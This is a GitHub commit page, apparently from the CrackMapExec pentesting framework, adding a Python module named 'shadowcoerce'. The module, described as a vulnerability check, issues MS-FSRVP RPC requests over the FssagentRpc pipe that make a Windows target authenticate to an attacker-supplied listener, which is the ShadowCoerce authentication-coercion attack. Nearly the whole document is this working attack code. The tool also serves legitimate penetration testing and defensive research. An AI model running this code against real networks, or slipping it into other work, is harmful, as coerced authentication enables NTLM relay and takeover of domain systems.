Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit b39e827

Browse files
author
mpgn
authored
Merge pull request #598 from ChoiSG/add-shadowcoerce-module
Add shadowcoerce module
2 parents 7e20cef + 9e1caba commit b39e827

File tree

1 file changed

+195
-0
lines changed

1 file changed

+195
-0
lines changed

cme/modules/shadowcoerce.py

+195
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
import time
2+
import logging
3+
from impacket import system_errors
4+
from impacket.dcerpc.v5 import transport
5+
from impacket.dcerpc.v5.ndr import NDRCALL
6+
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
7+
from impacket.uuid import uuidtup_to_bin
8+
from impacket.dcerpc.v5.rpcrt import DCERPCException
9+
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
10+
11+
class CMEModule:
12+
13+
name = 'shadowcoerce'
14+
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
15+
supported_protocols = ['smb']
16+
opsec_safe = True
17+
multiple_hosts = True
18+
19+
def options(self, context, module_options):
20+
'''
21+
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
22+
LISTENER Listener IP address (default: 127.0.0.1)
23+
'''
24+
self.ipsc = False
25+
self.listener = "127.0.0.1"
26+
if 'LISTENER' in module_options:
27+
self.listener = module_options['LISTENER']
28+
if 'IPSC' in module_options:
29+
# Any string that's not empty can be casted to bool True
30+
self.ipsc = bool(module_options['IPSC'])
31+
32+
def on_login(self, context, connection):
33+
c = CoerceAuth()
34+
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe="FssagentRpc")
35+
36+
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
37+
if dce == 1:
38+
logging.debug("First try failed. Creating another dce connection...")
39+
# Sleeping mandatory for second try
40+
time.sleep(2)
41+
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe="FssagentRpc")
42+
43+
if self.ipsc:
44+
logging.debug("ipsc = %s", self.ipsc)
45+
logging.debug("Using IsPathShadowCopied!")
46+
result = c.IsPathShadowCopied(dce, self.listener)
47+
else:
48+
logging.debug("ipsc = %s", self.ipsc)
49+
logging.debug("Using the default IsPathSupported")
50+
result = c.IsPathSupported(dce, self.listener)
51+
52+
dce.disconnect()
53+
54+
if result:
55+
context.log.highlight("VULNERABLE")
56+
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
57+
58+
else:
59+
logging.debug("Target not vulnerable to ShadowCoerce")
60+
61+
class DCERPCSessionError(DCERPCException):
62+
def __init__(self, error_string=None, error_code=None, packet=None):
63+
DCERPCException.__init__(self, error_string, error_code, packet)
64+
65+
def __str__( self ):
66+
key = self.error_code
67+
error_messages = system_errors.ERROR_MESSAGES
68+
error_messages.update(MSFSRVP_ERROR_CODES)
69+
if key in error_messages:
70+
error_msg_short = error_messages[key][0]
71+
error_msg_verbose = error_messages[key][1]
72+
return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
73+
else:
74+
return 'SessionError: unknown error code: 0x%x' % self.error_code
75+
76+
################################################################################
77+
# Error Codes
78+
################################################################################
79+
MSFSRVP_ERROR_CODES = {
80+
0x80070005: ("E_ACCESSDENIED", "The caller does not have the permissions to perform the operation"),
81+
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
82+
0x80042301: ("FSRVP_E_BAD_STATE", "A method call was invalid because of the state of the server."),
83+
0x80042316: ("FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS", "A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress."),
84+
0x8004230C: ("FSRVP_E_NOT_SUPPORTED", "The file store that contains the share to be shadow copied is not supported by the server."),
85+
0x00000102: ("FSRVP_E_WAIT_TIMEOUT", "The wait for a shadow copy commit or expose operation has timed out."),
86+
0xFFFFFFFF: ("FSRVP_E_WAIT_FAILED", "The wait for a shadow copy commit expose operation has failed."),
87+
0x8004230D: ("FSRVP_E_OBJECT_ALREADY_EXISTS", "The specified object already exists."),
88+
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
89+
0x8004231B: ("FSRVP_E_UNSUPPORTED_CONTEXT", "The specified context value is invalid."),
90+
0x80042501: ("FSRVP_E_SHADOWCOPYSET_ID_MISMATCH", "The provided ShadowCopySetId does not exist."),
91+
}
92+
93+
94+
################################################################################
95+
# RPC CALLS
96+
################################################################################
97+
class IsPathSupported(NDRCALL):
98+
opnum = 8
99+
structure = (
100+
('ShareName', WSTR),
101+
)
102+
103+
class IsPathSupportedResponse(NDRCALL):
104+
structure = (
105+
('SupportedByThisProvider', BOOL),
106+
('OwnerMachineName', LPWSTR),
107+
)
108+
109+
class IsPathShadowCopied(NDRCALL):
110+
opnum = 9
111+
structure = (
112+
('ShareName', WSTR),
113+
)
114+
115+
class IsPathShadowCopiedResponse(NDRCALL):
116+
structure = (
117+
('ShadowCopyPresent', BOOL),
118+
('ShadowCopyCompatibility', LONG),
119+
)
120+
121+
OPNUMS = {
122+
8 : (IsPathSupported, IsPathSupportedResponse),
123+
9 : (IsPathShadowCopied, IsPathShadowCopiedResponse),
124+
}
125+
126+
class CoerceAuth():
127+
def connect(self, username, password, domain, lmhash, nthash, target, pipe):
128+
binding_params = {
129+
'FssagentRpc': {
130+
'stringBinding': r'ncacn_np:%s[\PIPE\FssagentRpc]' % target,
131+
'UUID': ('a8e0653c-2744-4389-a61d-7373df8b2292', '1.0')
132+
},
133+
}
134+
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
135+
dce = rpctransport.get_dce_rpc()
136+
137+
if hasattr(rpctransport, 'set_credentials'):
138+
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
139+
140+
dce.set_credentials(*rpctransport.get_credentials())
141+
dce.set_auth_type(RPC_C_AUTHN_WINNT)
142+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
143+
logging.debug("Connecting to %s" % binding_params[pipe]['stringBinding'])
144+
145+
try:
146+
dce.connect()
147+
except Exception as e:
148+
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
149+
if str(e).find('STATUS_PIPE_NOT_AVAILABLE') >= 0:
150+
dce.disconnect()
151+
return 1
152+
153+
logging.debug("Something went wrong, check error status => %s" % str(e))
154+
155+
logging.debug("Connected!")
156+
logging.debug("Binding to %s" % binding_params[pipe]['UUID'][0])
157+
try:
158+
dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID']))
159+
except Exception as e:
160+
logging.debug("Something went wrong, check error status => %s" % str(e))
161+
162+
logging.debug("Successfully bound!")
163+
return dce
164+
165+
166+
def IsPathShadowCopied(self, dce, listener):
167+
logging.debug("Sending IsPathShadowCopied!")
168+
try:
169+
request = IsPathShadowCopied()
170+
# only NETLOGON and SYSVOL were detected working here
171+
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
172+
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
173+
# request.dump()
174+
dce.request(request)
175+
except Exception as e:
176+
logging.debug("Something went wrong, check error status => %s", str(e))
177+
logging.debug("Attack may of may not have worked, check your listener...")
178+
return False
179+
180+
return True
181+
182+
def IsPathSupported(self, dce, listener):
183+
logging.debug("Sending IsPathSupported!")
184+
try:
185+
request = IsPathSupported()
186+
# only NETLOGON and SYSVOL were detected working here
187+
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
188+
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
189+
dce.request(request)
190+
except Exception as e:
191+
logging.debug("Something went wrong, check error status => %s", str(e))
192+
logging.debug("Attack may of may not have worked, check your listener...")
193+
return False
194+
195+
return True

0 commit comments

Comments
 (0)